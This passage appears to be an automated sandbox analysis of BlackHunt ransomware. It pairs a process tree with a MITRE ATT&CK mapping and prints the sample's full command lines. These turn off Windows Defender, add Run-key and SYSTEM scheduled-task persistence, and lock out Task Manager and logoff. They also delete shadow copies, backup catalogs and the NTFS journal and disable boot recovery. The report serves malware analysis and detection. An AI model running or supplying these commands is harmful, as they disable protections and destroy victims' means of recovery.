  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:4384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:3804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:4476
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:5448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2204
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:5456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1348
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:5484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3760
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:5508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:3312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:5104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe" /F
  2⤵
  PID:4644
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:5404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2044
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:992
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3504
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2060
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4904
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:708
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3064
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1152
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4180
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  - Modifies registry class
  PID:4384
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:6004

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4956

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4936

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4460

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:5708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery